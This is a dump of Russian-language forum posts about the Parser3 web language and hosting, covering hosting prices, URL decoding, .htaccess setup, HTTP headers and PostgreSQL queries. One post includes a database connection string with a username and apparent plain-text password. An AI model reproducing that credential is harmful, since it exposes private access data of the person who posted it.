"15681","Меня что-то как-то не плющет делать крупный проэкт на хостинге с ограничением месечного трафика даже в 10 Gb.\
\
И переплачивать за превышение я тоже не хочу. Все облазил. Не нашел ничего кроме кажется kombat.ru но у них места мало 8(\
\
Если кто может меня ознакомить с хостингами, которые:\
\
1. Дают 200Mb-300Mb за $8-$10\
2. Не ограничивают исходящий трафик\
3. Дают возможность делать дополнительные ftp аккаунты.\
4. Имеют быстрый канал\
5. Находятся предпочтительно в Москве\
6. Тех поддержка которых ответственно подходит к своей работе.\
\
Спасибо."
"15685","1. Парсер работает через [i]разницу[/i].\
2. Не давно у них уволили группу администраторов и после атаки востонавливали всё 3 дня. Уже прошло 2 недели, а сайты иногда бывают не доступны.\
3. У них тупит служба поддержки с перерегистрацией доменных имен. С одним именем мучались неделю (хотя все оплатили во время)\
4. У них нельзя делать дополнительные ftp аккаунты.\
\
мало?"
"15686","Хватает. \
Просто предложение то неплохое а вот отзывов я о них не слышал, потому и спросил."
"15687","что-то меня жаба душит $20 в месяц отдовать :(\
даже при оплате за год ($16 в месяц) многовато."
"15688","Там вся фишка в том, что это - виртуальная машина (Virtual Linux), на которой у тебя рутовые права иты делаешь с ней, что хочешь. За такое обычно где-то полтинник просят."
"15689","Я бы его не советовал. Я оттуда сбежал, что и другим рекомендую... Суппорт никакой, сайты через раз доступны, мискуль вообще какой-то неживой... =( зато дешево =) для хомяка - в самый раз."
"15692","Для меня это пока дороговато, но адрес я запомню.\
Может в скором времени на него перейду."
"15693","я тоже хочу знать где такое дают, может поделитесь?\
\
"
"15695","Потому, что неограниченного трафика не существует. В принципе. \
\
\"Меня что-то как-то не плющет заправлять большой грузовик на автозаправке с ограничением в 10 литров за N рублей. И переплачивать за дополнительные литры я тоже не хочу. Все объездил.\""
"15696","1 Gb\
Среднестатистический размер посещаемой страницы с картинками: 50 Kb\
\
Предположем что сайт посещает в среднем 300 хостов в день со средней глубиной 50 страниц (с учетом средст общения)\
\
берем калькулятор и считаем :)\
Посчитали?"
"15698","напишите мне на мыло - я вышлю адрес"
"15699","попробуйте отлавливать язык броузера через $env:ACCEPT_LANGUAGE (неуврен в правильности - гляньте где-нибудь правильное написание этой переменной окружения)"
"15700","Я думал на эту тему, но вот такие два соображения:\
\
1) не буду утверждать, но мне помнится, что этот заголовок присутствует даже не в 75% запросов к серверу, так как то-ли необязательный, то-ли не присутствует в протоколе HTTP/1.0.\
\
2) параметр зависит от конкретной настройки браузера и его крайне редко настраивают, следовательно - чаще всего он будет выставлен в [en].\
\
Или я заблуждаюсь?"
"15701","Подскажите пожалуйста какую-нибудь хорошую программу (если есть такая), способную искать файлы и поддерживающую рег. выр (perl-совместимые)\
Задача вообще такая: есть мильон текстовых файлов, в них нужно что-то найти с помощью regexp и заменить на что-нибудь другое\
"
"15703","Спасибо, конечно. Эта прога у меня есть\
Но меня интересует программа, специально созданная для  поиска, более удобная\
\
Раньше я пользовался прикольной штукой под названием \"Словогрыз\" (http://www.softwaremaniacs.org/tr),но она использует свои собсвенные рег.выр\
\
А так очень удобная"
"15705","А бесплатные бывают?\
(где?)\
Спасибо"
"15707","...но не нашёл конкретной ссылки, где вам предложили неограниченый трафик за 20$."
"15708","А нет ли софтины, которая могла бы облегчить написание самих регэкспов? Что-то, типа, конструктора..."
"15709","Но это не совсем правда. Картинки пользователю загружаются только один раз.\
\
И кто в России предлагает за 10$ хостинг под форум с таким трафиком?"
"15710","Вот тут понадобилось реализовать на Парсере эдакий упорядоченный массив, что-то вроде класса Array в JavaScript'е. Вроде бы по логике под это дело лучше всего подходит hash, но возникают кое какие проблемы с функциональностью, т.е. не могу придумать как реализовать на Парсере некоторые нужные фичи.\
\
Сразу скажу, упорядоченность данных здесь ни при чём, сортировать я ничего не собираюсь, просто не могу произвести выборку либо задать значение элементу нужным мне способом.\
\
Наваял для ясности небольшую табличку, там где вопросики, собственно, и есть проблема. Чтобы не отвлекать вас от сути, индексы массива и ключи хэша я здесь называю просто \"номерами\".\
[code]\
JavaScript:		Parser 3:		Что требуется:\
-------------------------------------------------------------------------------\
\
 items[n] = \"yes\"	$items.$n[yes]		присвоить элементу с номером n\
						значение yes\
\
 items[n]		$items.$n		вывести содержимое элемента с\
						номером n\
\
 items[i++] = \"no\"	????			присвоить элементу с номером,\
						равным i+1 значение no\
\
 items[i - 2]		????			вывести содержимое элемента с\
						номером, равным i-2\
[/code]  "
"15712","[code]\
@CLASS\
массив\
\
@создать[]\
\
@дай[name]\
@на[name;value]\
@наплюс[name;value]\
^на[$caller.$name;$value]^caller.$name.inc[]\
[/code]\
\
и пользуетесь\
\
[code]\
$мой[^массив::создать[]]\
^мой.на[n;yes]\
^мой.дай[n]\
^мой.наплюс[n]\
[/code]"
"15713","Задача: передать один русский(необязательно) символ(или его код?) ч-з uri.\
\
Проблема: перекодирование символа из uri в %D0%XX\
\
Как вариант: - передача ASCII кода, но его еще надо как-то узнать.\
\
Есть ли у кого варианты решения подобной проблемы ?"
"15714","который делает, что пишете, в случае…\
[code]\
$town[москва]\
^file::load[http://server.ru/?name=$town;\
    $.charset[UTF-8]\
]\
[/code]"
"15715","если нужно ссылку создать:\
\
[code]\
$response:charset[UTF-8]\
^taint[uri][привет]\
[/code]\
\
при этом вся страница в UTF-8 выйдет. \
в каком-то случае…"
"15716","Нужен откомпилированый Парсер как модуль к Апач под FreeDSD 4.6\
А в \"скачать\" его нет хотя для RedHat тоже нет, страно....\
Может у кого есть?"
"15717","Я создал два глобальных оператора:\
\
[code]\
@encode[text]\
$result[^replace[ ;+;$text]]\
\
@decode[text]\
$result[^text.replace[$uri]]\
[/code]\
\
где таблица uri берётся из файла:\
\
[code]\
from >> to\
+   >> [пробел]\
%20 >> [пробел] \
%D0 >> [пусто]\
%D1 >> [пусто] \
%B0 >> а\
%B1 >> б\
%B2 >> в\
%B3 >> г\
%B4 >> д\
%B5 >> е\
%91 >> ё\
%B6 >> ж\
%B7 >> з\
%B8 >> и\
%B9 >> й\
%BA >> к\
%BB >> л\
%BC >> м\
%BD >> н\
%BE >> о\
%BF >> п\
%80 >> р\
%81 >> с\
%82 >> т\
%83 >> у\
%84 >> ф\
%85 >> х\
%86 >> ц\
%87 >> ч\
%88 >> ш\
%89 >> щ\
%8A >> ъ\
%8B >> ы\
%8C >> ь\
%8D >> э\
%8E >> ю\
%8F >> я\
[/code]\
\
Следует заметить, что замена подстроки на [пусто] (т. е. удаление) катит только в случае, если таблица замен загружается из файла. Такое вот шаманство.\
\
Такой трюк используется здесь: http://razetdinov.inc.ru/windows/keys/панель+задач"
"15718","[quote]Под UNIX:\
Необходимо собрать Parser из исходных кодов, задав ключ --with-apache13 у скрипта configure, при make на экране появится инструкция по дальнейшей сборке Apache из его исходных кодов.\
Внимание: на некоторых системах стандартный make не работает с make-файлами Parser3, воспользуйтесь GNU вариантом: gmake.[/quote]\
"
"15719","пока к Си++ никаго отношения не имею, так что... ладно буду хостера просить... "
"15720","В конце-концов чем тебя cgi-версия не устраивает?"
"15721","его даже просить не надо:))) это входит в тариф, это же Зенон:)))"
"15722","Я пробовал установить эту программу, но у меня не хватало какой-то штуки от  микрософт.\
Так я её скачал, установил,  но программа установки  всё равно говорит, что её у меня нет и не устанавливается\
\
Что делать?"
"15723","Если не секрет,как с ним обращаться?\
Скачал я этот grep. А куда присобачить то его?\
\
Мне то нужна была программка под винды"
"15725","Давно нашёл. она требует библиотеку ci032.dll, которая у меня есть"
"15727","всё равно, спасибо за участие"
"15728","Есть выделенный сервер от peterhost'а.\
На нем стоит linux red hat.\
На сервере создан домен.\
В папку cgi-bin залил парсер для redhat, права поставил 755.\
в папке public_html находится .htaccess со следущим содержимым.\
AddHandler parser3-handler .html\
Action parsed-html /cgi-bin/parser3.cgi\
SetEnv CGI_PARSER_CONFIG /home/rusip/www/site11/cgi-bin/auto.p\
<Files ~ \"\\.cfg$|\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files>\
Сайт почему-то парсером необрабатывается.\
Если строку setenv поменять на\
ParserConfig /home/rusip/www/site11/cgi-bin/auto.p\
выдается ошибка 500.\
Написал админам, а они говорят что скрипт исполняется но не запускается синтаксический разбор инструкций.\
Что делать ума не приложу."
"15729","Не думаю что ты сам пробовал собирать парсер под Unix, - иначе ты бы не давал таких советов непосвященным. Да кстати рутовые права не нужны:\
\
In case you're not root on machine you're installing Parser,\
  we recommend you to do:\
  ./configure --prefix=/your/home/parser3install\
  and afterwards copy parser3install/bin/parser3 to your CGI directory\
  or make a symlink [if your web server configured to follow symlinks].\
  \
 \"Кто умеет тот делает, кто не умеет тот учит\" (c) Народная мудрость (Сумо ничего личного :) хорошо?)"
"15730","...если только конфиг и binary апача не writable by world. :-)\
(В некоторых случаях, например на дорогих тарифах \"Зенона\" есть отдельный конфиг, writable by user, но это редкий случай.)\
Приведённая цитата имеет отношение к CGI, а не модулю."
"15731","Собрать можно и без рутовых прав, подключить нет. Тем более что у Temp хостинг Zenon. А цитата действительно в 99% случаев верна для CGI"
"15732","У меня стоит FreeBSD'шный сервер с вкомпиленным модулем. А собирать и инсталировать ДОЛЖЕН АДМИНИСТРАТОР, а не кто попало..."
"15733","с форумом надо завязывать"
"15734","у меня на Zenon’e, тариф \"деловой\", и у меня есть права на редактирование файла httpd.conf, там структура хостинга другая, каждому юзверю, даётся свой апач, не как virtual host, а как отдельный процесс, таким образом, я могу с ним делать что хочу.\
Если Вам не трудно то дайте пожалуйста ссылку откуда можно скачать ваш модуль для проверки на совместимоcть.\
Почему меня не устраивает cgi версия, вполне устраивает, просто хочется использовать все возможности, ведь модуль производительней(менее ресурсоемкий)!\
Ведь за хостинг отданы деньги больше чем обычно, и глупо ведь не использовать то что предлагают, на Зеноне ещё дают выделенный MySQL-сервер, что тоже очень удобно!\
Как окончательно перееду, и сложу окончательно мнение, обязательно напишу в \"хостинги\".\
"
"15735","во-первых пока не устанавливайте переменные окружения(SetEnv CGI_PARSER_CONFIG), а просто положите конфигурационнйы файл рядом с Парсером, \
а потом напишите сюда что пишет сервер в error log"
"15736","Здравствуйте.\
\
Помогите пожалуйста настроить $response:Last-Modified[], отдaвать агенту дату последней модификации. \
\
Почему то $response:Last-Modified[] работает только если явно указывать дату в качестве переменной, если же пытаться передавать строковую переменную, передается или дата генерации файла или дата из далекого 1970 года... \
\
Поиск по форуму ответа, к сожалению, не дал...\
\
Спасибо,\
С уважением, the.organic\
\
\
[code]\
@USE\
dtf.p\
\
@main[]\
\
$doc_uri[$env:PATH_INFO]\
$file_stat[^file::stat[$doc_uri]]\
\
##	создаем объект flastmod класса date\
$flastmod[^date::create(\
	$file_stat.mdate.year;\
	$file_stat.mdate.month;\
	$file_stat.mdate.day;\
	$file_stat.mdate.hour;\
	$file_stat.mdate.minute;\
	$file_stat.mdate.second)\
]\
\
##	в формате СУБД\
$sql_form[${flastmod.year}-${flastmod.month}-${flastmod.day} ${flastmod.hour}:${flastmod.minute}:${flastmod.second}]\
\
\
\
##	Форматируем\
$date_dtf[^dtf:format[%A, %d %h %Y %H:%M:%S;$sql_form;$dtf:es-locale]]\
[/code]\
\
\
	Дата модификации в формате СУБД (без дополнит. форматирования): например 2003-4-12 0:28:30\
[code]\
$sql_form\
[/code]\
	\
	Дата модификации (с форматированием): например Sat, 12 Apr 2003 00:28:30\
[code]\
$date_dtf\
[/code]	\
\
\
1.	Запись [гггг-мм-дд] Р3 понимает, и при использовании...\
[code]\
$response:Last-Modified[^dtf:last-modifyed[2003-4-10 11:22:33]]\
[/code]\
\
сервер отдает правильный ответ\
[code]\
HTTP/1.1 200 OK\
 Date: Fri, 11 Apr 2003 21:25:21 GMT\
 Server: Apache/1.3.27 (Win32) PHP/4.3.0\
 Last-Modified: Thu, 10 Apr 2003 11:22:33 GMT\
 content-length: 963\
 Connection: close\
 Content-Type: text/html; charset=windows-1251\
[/code]\
\
2.	Запись [$sql_form] Р3 'не понимает' (?) и при использовании...\
[code]\
$response:Last-Modified[^dtf:last-modifyed[$sql_form]]\
[/code]\
\
сервер отдает дату не правильную (совпадает с текущей)\
[code]\
HTTP/1.1 200 OK\
 Date: Fri, 11 Apr 2003 21:22:30 GMT\
 Server: Apache/1.3.27 (Win32) PHP/4.3.0\
 Last-Modified: Fri, 11 Apr 2003 21:22:30 GMT\
 content-length: 532\
 Connection: close\
 Content-Type: text/html; charset=windows-1251\
[/code]\
\
"
"15737","если написать их рядом, подставив переменные, получим:\
1. $response:Last-Modified[^dtf:last-modifyed[2003-4-10 11:22:33]]\
2. $response:Last-Modified[^dtf:last-modifyed[2003-4-12 0:28:30]]\
\
и утверждается, что первая строка работает, а вторая - нет? или не работает, когда передаем переменную, типа так:\
$str[2003-4-12 0:28:30]\
2. $response:Last-Modified[^dtf:last-modifyed[$str]]\
???\
\
я ничего не пропустил?\
\
если все именно так, то проблема может быть в локальном времени (у меня в dtf.p есть комментарий у метода @last-modifyed: \"тут на самом деле нужно сдвинуть время. почему-то не понимается локальное время\". возможно причина в этом.\
"
"15738","Здравствуйте, Михаил.\
\
Боюсь ошибиться в терминологии...\
\
Разница в том, что \
\
1. когда, ручками пишу \
$response:Last-Modified[гггг-мм-дд] \
заголовок отдается правильный\
\
2. когда пытаюсь передавать какую либо переменную\
$response:Last-Modified[$date_of_flastmod]\
оператор перестает отдавать корректную дату, и отдает либо текущую, либо 1970г.\
\
что касается Вашего класса dtf.p и комментария о сдвиге строки, то понимаю мягко говоря мало что и как двигать (класс наверное наизусть помню, а как и что откуда появляется..., ну да это лирика..)"
"15739","Есть текст такого вида: %F2%E5%F1%F2\
Как его преобразовать к нормальным буквам?"
"15740","1. работает (http://www.parser.ru/_t.html)\
$sql_form[2003-4-12 00:28:30]\
$date_dtf[^dtf:last-modifyed[$sql_form]]\
$response:Last-Modified[$date_dtf]\
\
2. не работает\
$sql_form[2003-4-12 00:28:30]\
$response:Last-Modified[$sql_form]\
\
3. не работает\
$response:Last-Modified[2003-4-12 00:28:30]\
\
вообще мне не кажется это удивительным, т.к. я не слышал, что формат в Last-Modified можно задавать в sql формате.\
\
ссылка по теме:\
http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.3"
"15741","На самом деле лучше попросить зеноновских админов, чтобы они вкомпилировали в ваш процесс..."
"15742","если стоит задача разовой расшифровки подобного текста, что \"штирлиц\" или какой друго декодер вам поможет.\
\
если вам нужно разобрать подобные данные, пришедшие парсеру через форму, то обращайтесь к ним через $form:asd и у вас не будет таких проблем.\
\
если вы собираетесь парсером расшифровывать данные в подобном виде приходящие от внешнего источника, то флаг вам в руки, пишите таблицы замен...\
\
"
"15743","я просил их собрать, мне модуль, но они сказали, что типа пользователи сами всё должны, а они только помогут, если возникнут проблемы, я и не хотел бы его в компиливать в ядро сервера, т.к. скоро готовиться к выпуску новые версии Парсера, и заново компилить Апач на много более трудоёмкий процесс нежили просто модуля, который потом просто можно подключить...\
может Александр Петросян поможет... посмотрим..."
"15744","да... таблицы... а уже написанных их нет ни у кого? это ж сколько работы..."
"15746","потому, что в 99% задач можно обойтись без этого, достаточно $form\
\
может опишите задачу?\
\
P.S. не спорю, иногда бывает нужно... но очень редко..."
"15747","их нужно записать в строку в таблице. Но, если кто-то в сообщении переводит строку (enter'ом), то данные из формы приходят в виде нескольких строк и соответственно в таблицу записываются так же. Как избавиться от этого?\
^untaint[table]{$form:body} почему-то не помогает..."
"15748","Я делаю поиск на сайту. Строка, которая ищется, передается через $env:QUERY_STRING, потому что сайт полностью динамический и адрес любой страницы выглядит примерно так:\
http://mysite.ru/index.html?/pivo/svetloe/miller/\
а адрес страницы с результатами поиска:\
http://mysite.ru/index.html?/search/%F2%E5%F1%F2\
вот в теле страницы я извлек этот %F2%E5%F1%F2 и теперь надо его обратно в буквы перевести..."
"15750","[code]\
RewriteRule ^search/(.+)$ /index.html?action=search&query=$1 [L]\
RewriteRule ^(.+/)$ /index.html?uri=$1 [L]\
[/code]\
\
Заодно сможете избежать \"некрасивых\" адресов, содержащих index.html"
"15751","лучше естественно оформить как метод, т.к. я надеюсь, что скоро taint для таблиц при записи появится."
"15752","проблему вы нажили себе сами, т.к. решили проигнорировать имеющиеся у парсера средства (form), а ваша задача замечательно решается с их помощью.\
\
единственное, что приходит мне в голову, где пока нужна таблица замен для раскодировния %F2... это аналих HTTP_REFERER-а, в угле которого есть русские буквы (ссылки с поисковиков). но все-таки это не особо типовая задача."
"15755","[quote][b]А как в таблицу замен для ^строка.replace[$таблица_замен] добавить символы перевода строки или табуляции? Конструкция $repl[^table::create[nameless]{^#0A <p>}] приводит к выдаче сообщения об ошибке.[/b]\
\
И правильно приводит к сообщению об ошибке. Дело в том, что ^#0A эквивалентно написанию символа перевод строки. Таким образом мы создаем таблицу, у которой первая строка созданой таблицы ничего не содержит. Для того, чтобы парсер не воспринимал этот символ как tab-delimited разделитель при конструировании таблицы, он должен быть \"грязным\". Напишите например так:\
\
$repl[^table::create[nameless]{^taint[^#0A]	<p>}]\
\
и после выполнения метода ^my_string.replace[$repl] все символы перевода строки будут заменены на <p>\
[/quote]"
"15757","Error method of MAIN (class) accepts maximum 1 parametr (s)\
\
Что делать????\
"
"15758","а судя по написанному, был вызов с б[i]о[/i]льшим количеством параметров, чем положено. "
"15761","хранить цену в cookie -- просто недопустимо! А что, если Вася Пупкин уберёт нолик и купит всё по супер-скидке? ;-) Наиболее практичный вариант -- с базой данной, Serj описал хороший пример. "
"15762","Far: http://www.rarsoft.com/\
Search And Replace: http://plugring.farmanager.com/cgi-bin/downld.cgi?Draw=List&Select=PlugIn&SelectPlugIn=229"
"15763","При создании форума всплыл вопрос о символах перевода строки. Использовал предложение http://www.parser.ru/forum/?id=4604. В таблице вместо #0a хранится '[br]', при извлечении данных '[br]' преобразуется в '<br/>'. Далее  нужно разрешить парсеру выдать этот '<br/>' пользователю как html-код. Выдается, но при этом, если пользователь использовал html, то его html тоже вылезает, что естественно, т.к. [b]taint/untaint[/b] обрабатывается перед выдачей данных броузеру, поэтому загруженные данные нет смысла преобразовывать из HTML в текст. В итоге стоит задача:\
\
1. Убрать теги из исходных данных(> на &gt; и т.д.)\
2. Преобразовать данные, полученные в результате 1 пункта, заменив '[br]'на '<br/>'\
3. Результат 2-го пункта выдать пользователю в виде HTML\
\
Как эта проблема, решается у Вас? Буду очень благодарен, если поделитесь."
"15769","Плучаем из БД следующую информацию: \"Чтобы сделать текст жирным[br]используйте<b>жирность</b>\"\
\
Далее заменяем [br] на <br/>\
\
Получаем: \"Чтобы сделать текст жирным<br/>используйте<b>жирность</b>\"\
\
А дальше проблема: нужно выдать <b> как &lt;b&gt;, а <br/> как есть\
\
Но как это сделать непонятно, ведь taint/untaint обрабатывает данные перед выдачей их наружу. Из-за этого нельзя сначала преобразовать теги в &gt; и пр., а потом заменить [br] на <br/>."
"15770","по моему там описан ваш случай один к одному..."
"15771","Скорее всего, в коде где-то неэкранированная точка с запятой \
[b];[/b] ее нужно вводить так:  [b]^;[/b]\
Посмотрите, возможно, это &nbsp; затесался по привычке...\
\
Да, это происходит потому, что:\
[code]^method[one][two][/code]\
равносильно:\
[code]^method[one;two][/code]\
отсюда и ошибка...\
\
А вообще-то — пишите код! Телепатией здесь обладают не многие. (PAF, Misha, привет!)"
"15774","[Mon Apr 14 04:50:27 2003] /: config(0): './lib/libparser3mysql.so' can not open the module, ./lib/libparser3mysql.so: ELF file OS ABI invalid [<no type>]"
"15775","AGAVA.ru - вы полюбите наш хостинг\
100Мб от $4, 300Мб от $7.2, 500Мб от $20. Домены: .ru, .com, .net, .org, .biz, .info - бесплатно. Трафик - неограниченный. Почта: веб-интерфейс, IMAP, POP3, SMTP. Почтовых аккаунтов: неограниченно. Поддержка CGI, Perl, PHP, SSI, MySQL, ssh\
\
Вот, что пришло по почте. Сразу скажу - не проверял, но поскольку все вышесказанное перерастает во флейм, то подолью масла в огонь, пока каждый не поймет, что нужно делиться информацией. Если бы сюда ходили для частных бесед, то здесь были бы private комныты!!!\
\
2Григорий Ситнин - а раздел \"хостинги\" здесь тоже реклама???"
"15776","Укажите более явный путь к SQL библиотеке, или лучше отключите ее на время из auto.p и проверьте, работает ли..."
"15777","При копировании из MS Word фрагмента текста в форму, текст не передается.\
Если же его просто ввести руками, все ОК. В чем может быть баг?\
\
P.S. Замечено неоднократно..."
"15778","Только что проверил: форма из 2-х полей(header_news+text_news): P^3.0005 + MS Word 2k + IE 5.5 - все работает, даже драг-н-дроп пашет"
"15779","В последний раз вставлял новости, 1-я вставилась без проблем, а вторая никак не хочет... "
"15780","дело в том, что replace не меняет \"язык\" вставляемых кусочков, оставляя все как есть. сделано это для скорости.\
\
как будет в будующем я точно не знаю, пожелания насчет того, чтобы replace вел себя аналогично match-у в плане тайтинга ПАФу высказывались.\
\
т.е. пока выход - match."
"15781","Есть таблица [b]orders[/b] в ней храниться \
ID-покупки, ID отложенного товара, его количество и дата добавления товара в корзину.\
\
Когда покупатель откладывает первый товар в корзину, то осуществляеться просмотр таблицы orders и удаление всех записей сделанных вчера (сегодня - 1 день, можно -2 для того, что бы не разросталась таблицы orders). \
\
После этого из таблицы выбирается максимальное значение ID-покупки и создается cookie [b]basket[/b] на еденицу большее найденного значения. \
\
Далее происходит добавление первого товара в таблицу orders где:\
ID-покупки = cookie:basket\
ID-товара = ID отложенного товара\
кол-во = кол-в\
дата = сегодня\
\
Дальнейшие добавдения происходят по томуже сценарию, за исключением просмотра таблицы orders. (т.к. есть cookie:basket значит уже существует ID покупки)\
"
"15782","Не подскажете, есть ли хостинг с парсером на зарубежных серверах.\
Спасибо"
"15783","объект типа date.\
\
parser сам отформатирует, как надо.\
имейте в виду, что с этой датой после вас ещё ковыряется сам apache."
"15785","скоро выпустим"
"15786","Подскажите, можно ли на парсере разбирать мыло. т.е. мне на сервак приходит мыло, а я хочу его перенаправить на скриптик, который его будет разбирать и класть в базу. и если можно, как это делается?"
"15787","У хостинг-провайдера стоит Dedian. Нужно с помощью парсера работать с MySQL. Я сам с *nix'ами никогда не работал, поэтому вопрос такой: достаточно-ли установить парсер и драйвер MySQL для RedHat из раздела Downloads? Заранее спасибо. "
"15788","Это изменять файл .htaccess?\
И добавлять туда:\
\
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3 \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files> \
\
И все?\
"
"15789","Под *никсами тебе нужен файл /var/spool/mail/имя_ящика\
берешь кроном раз в Х минут(секунд, часов, дней, лет) запускаешь скрипт, который будет все это дело парсить.\
Хорошо бы только так сделать, чтобы по приходу мыла приключалось вот это самое \"парсить\". На ПХП это несложно, а вот с парсером - не знаю.\
"
"15790",".... и прочие радости. Прикол парсера в том, что его просто подключить. \
Если сервак платный, то они все что нужно для подключения имеют - 100000% :)"
"15792","тут народ хочет всяким профам показывать \"ногти\" на фотогаллерее городе, для того чтоб они знали всякую инфу об оригинальном снимке, это предлагают делать так: аплоадится пикча с EXIF и при аплоаде идет запись в этой инфы в базу.\
\
вопрос: не проще ли набивать эту инфу в базу сразу или проще вообще не давать это на сайте(просто не видел этих данных на фотогаллереях)?"
"15793","ключевое слово 1: ~/.forward\
ключевое слово 2: procmail\
\
в parser заложена возможность принимать почту, и разбирать её в удобном для работы виде.\
при известном желании можно собрать такой parser из исходников самому."
"15794","...Был бы праздник.\
Я бы тогда давно уже помогал дописывать, всякие фичи к Парсеру.\
"
"15795","безусловно, разбирать по крону почтовый ящик… неразумно"
"15799","Если что не пойдет - error.log сюда"
"15800","Список изменений тут\
http://www.opera.com/windows/changelogs/710/\
\
Очень много заметно даже невооруженным взглядом.\
Радостно."
"15801","Ну да я не обижен. Буду разгребаться с СИ. И компилить себе Парсер с чем угодно. Хоть с --на-луну. :)\
"
"15803","я лишь утверждал, что совершенно не нужно ходить в почтовый ящик, и копаться там очумелыми ручками.\
\
потом намекал, что вы прочли лишь последнее предложение письма."
"15804","а как на пхп? если не сложно в 2-х словах."
"15805","забавно, особенно эмуляция lynx`a.\
но вот как до его стилей добраться(onlytext)?"
"15806","Правда Она из 2-го, но я надеюсь что Вы мне просто скажете куда лезть с Гаечным ключом :-)\
\
[code]\
[sendmail reported error: UNKNOWN, #100]\
[/code]\
\
Вот такая вот."
"15808","ALL!\
Такая ситуация. У каждой записи в таблице PostgreSQL есть oid.\
Очень удобная вещь. Надо достатьь его. Пишу:\
\
$oid[^connect[pgsql://andy:Ybrbnby@localhost/htask]{ \
^int:sql{select oid from user_desc where\
 short_name='$form:short_name'}\
}]\
\
Врезультате исполнения вижу:\
d:/htask/classes/login.p(49): 'select oid from user_desc where short_name='test'' ERROR:  inv_open: large object 17091 not found\
type: sql.execute\
\
Выбирается гарантированно одна запись.\
Попытки использовать ^double, ^table ни к чему не привели.\
Подскажите как сделать. А то я первый раз на Parser'e\
Andy Nik."
"15809","В этой строке он насчитал 39 символов:\
^str.match[\\[(color)=(\"?)([^^\"]+?)\\2\\](.+?)\\[/\\1\\]]\
А я насчитал 51, в чем прикол?\
И в примере та же кухня, написано 34, а на самом деле 32 т.к. троеточие заменено на символ троеточия."
"15812","у меня есть ощущение, что вы неправильно себе представляете, что же такое, этот тип oid.\
\
этот тип совсем не предназначен для хранения каких-то там чисел — это номер large object, где хранится что-то большое.\
\
чтобы удобно работать с текстами, длина которых превышает максимально допустимую в varchar, а база данных не предоставляет простого способа (как в mysql тип text), parser позволяет использовать простой синтаксис, и сам[его соответствующий драйвер базы данных] занимается всеми деталями по работе с имеющимися типами в конкретной базе: large object[pgsql] и clob[oracle].\
\
подробности и примеры тут: http://www.parser.ru/docs/lang/lesson4.htm"
"15814",">у меня есть ощущение, что вы неправильно себе представляете, что >же такое, этот тип oid.\
>этот тип совсем не предназначен для хранения каких-то там чисел — >это номер large object, где хранится что-то большое.\
Из документации по PostgreSQL:\
oid-The object identifier (object ID) of a row. \
OIDs are 32-bit quantities and are assigned from a single cluster-wide counter.\
This is a serial number that is automatically added by PostgreSQL to all table rows \
OID -  это номер(число, цифирь), я эту цифирь хочу получить. Мне не нужен объект на \
который ссылаются и писать я туда не собираюсь.\
Просто я его всю жизнь использую вместо \
id int not null auto_increment \
принятого в MySQL. М в поле этом цифирь, что легко видно сделав\
select в psql, pgAdmin, php, perle и т.п. Почему нельзя в Parser3?"
"15815","1. вижу, есть такая неявно добавляемая колонка, никогда не пользовался. лично мне она совсем не нравится, и представляется куда более логичным использование явно объявляемой колонки подходящего типа:\
\
http://www.postgresql.org/docs/view.php?version=7.3&idoc=0&file=datatype.html#DATATYPE-SERIAL\
\
2. впрочем, мои личные пристрастия не очень важны тут дело в другом:\
PostgresQL, на момент написания драйвера, [b]единственным[/b] удобном способом хранения строк произвольной длины были large objects.\
\
вы успешно умалчиваете важное: с каких-то пор в PostgresQL [b]появился[/b] нормальный тип text, и былые ухищрения по работе с большими строками[которых нет в ANSI] более не нужны.\
\
диагноз:\
1. моё мнение: без неявной колонки вполне можно обойтись, а если очень приспичило, попробовать преобразовать её к другому типу, если это возможно.\
2. старый код поддержки /**имя**/ в PostgresQL драйвере можно оставить, чтобы поддержать какой-то процент старых пользователей.\
3. пользователи версий PostgresQL, имеющие тип 'text' могут жить спокойно и не заморачиваться на хранение строк в large objects [заведение своих колонок типа oid]."
"15817","При установке бинарника выдает safe-mode, изменяю пользователя и группу - не помогает. Решил собрать из исходников, но при выполнении make выползает ошибка (ниже все, что мне выдает make):\
Making all in src\
Making all in include\
Making all in main\
make: don't know how to make pa_common.@OBJEXT@. Stop\
*** Error in /usr/home/.../distr/parser3/src\
*** Error code 1\
stop in /usr/home/.../parser3\
\
Операционная система FreeBSD 4.3"
"15819","требуется запустить скрипт \"баннерокрутилки\".\
\
написал:\
^file::exec[../cgi-bin/parabanner/index_top.pl]\
\
parser.log\
[Tue Apr 15 12:30:23 2003] /: /home/www/servers/orenburgcity.ru/html/auto.p(1): 'header' contains illegal assignment attempt of file to MAIN method_frame, use constructor [parser.runtime] \
\
написал:\
^file::cgi[../cgi-bin/parabanner/index_top.pl]\
\
parser.log\
[Tue Apr 15 12:21:23 2003] /: /home/www/servers/orenburgcity.ru/html/index.html(1): 'cgi' output does not contain CGI header; exit status=254; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\" [<no type>]\
\
что делать?"
"15822","а доку почитать не пробовали?\
http://www.parser.ru/docs/lang/?filecgiexec.htm\
видите это конструктор, который создаёт объект, это не оператор и не метод!\
[code]\
$banner_rotater[^file::exec[../cgi-bin/parabanner/index_top.pl]]\
#если скрипт возратит текст, то он будет доступен\
$banner_rotater.text\
[/code]"
"15823","1. создал файл с указаной строкой, в которой мой UEdit нсчитал 51 символ (_t.cfg)\
2. написал такой код:\
[code]\
$f[^file::load[text;/_t.cfg]]\
=^f.text.length[]=\
[/code]\
3. запустил этот код, и он вывел мне =51=\
\
что не так?"
"15824","Вопрос такой, как получить тип содержимого объекта класса файл, полученного из формы?\
Вот это не работает.\
[code]\
 ^if(def $form:picture){\
$pic[$form:picture]\
\
$pic.content-type\
[/code]\
Или он работает только через ^file::load[]? Его нужно будет сохранить?\
\
В итоге нужно отсеять все не jpg, png, gif. Только по расширению?\
А тогда, как определить, что передан именно графический файл?\
Чтобы вот это $photo[^image::measure[$pic]] не давло ошибок в случае не графики.\
\
Извините за сумбур."
"15825","1. получаем файл\
2. сохраняем файл\
3. в ^try{} пытаемся сделать ему ^image::measure[]... если прокатило, значит было закачано изображение, можно где-нить записать его. если не прокатило - грохаем файл и грязно ругаемся на того, кто такое барахло закачал."
"15826","хотя сам сервер стал открываться, но то место, где должен быть баннер остается пустым...\
\
index.html\
@banner_rotater[]\
$banner_rotater[^file::exec[../cgi-bin/parabanner/index_top.pl]]\
$banner_rotater.text\
\
auto.p\
